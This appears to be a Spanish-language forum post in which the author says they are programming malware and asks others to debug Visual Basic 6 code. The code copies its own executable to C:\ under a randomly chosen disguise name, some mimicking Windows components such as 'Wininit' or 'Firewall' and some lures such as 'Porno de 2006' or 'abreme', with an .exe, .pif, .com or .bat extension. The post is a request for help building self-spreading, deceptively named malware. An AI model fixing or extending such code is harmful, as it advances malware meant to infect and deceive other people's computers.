Hola, estoy programando un malware que tome como nombre
para copiarse uno entre 30 opciones y 4 extensiones (.exe, .pif, .bat y .com ),
todo va bien hasta este punto, genera el nombre y la extension correctamente
pero si sale un archivo com, pif o bat y lo ejecuto me lanza error que dice:
Error '53' en tiempo de ejecucion :
no se ha encontrado el archivo
Les dejo el code para que lo analizen:
Option Explicit
Dim nombre As String
Dim exte As String
Dim toxico
Dim popo
Private Sub Form_Load()
Randomize
toxico = Int(Rnd * 30)
If toxico = 0 Then nombre = "Windows sevicess"
If toxico = 1 Then nombre = "Wininit"
If toxico = 2 Then nombre = "Sexy"
If toxico = 3 Then nombre = "runexe"
If toxico = 4 Then nombre = "puppet"
If toxico = 5 Then nombre = "shit"
If toxico = 6 Then nombre = "*****"
If toxico = 7 Then nombre = "Winsock32.dll"
If toxico = 8 Then nombre = "Root"
If toxico = 9 Then nombre = "Firewall"
If toxico = 10 Then nombre = "XP"
If toxico = 11 Then nombre = "WinNT"
If toxico = 12 Then nombre = "winXP"
If toxico = 13 Then nombre = "Logger"
If toxico = 14 Then nombre = "sucker"
If toxico = 15 Then nombre = "apestas"
If toxico = 16 Then nombre = "line"
If toxico = 17 Then nombre = "p**a"
If toxico = 18 Then nombre = "setsi"
If toxico = 19 Then nombre = "ozorio"
If toxico = 20 Then nombre = "sevicess"
If toxico = 21 Then nombre = "mi_vida-atte-tu compu"
If toxico = 22 Then nombre = "Informacion"
If toxico = 23 Then nombre = "Porno de 2006"
If toxico = 24 Then nombre = "nada"
If toxico = 25 Then nombre = "alg"
If toxico = 26 Then nombre = "que_joto_eres"
If toxico = 27 Then nombre = "me_cagas"
If toxico = 28 Then nombre = "abreme"
If toxico = 29 Then nombre = "no se"
Randomize
popo = Int(Rnd * 4)
If popo = 0 Then exte = ".exe"
If popo = 1 Then exte = ".pif"
If popo = 2 Then exte = ".com"
If popo = 3 Then exte = ".bat"
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\" & nombre & exte
End sub
Espero puedan ayudarme
Mostrar Mensajes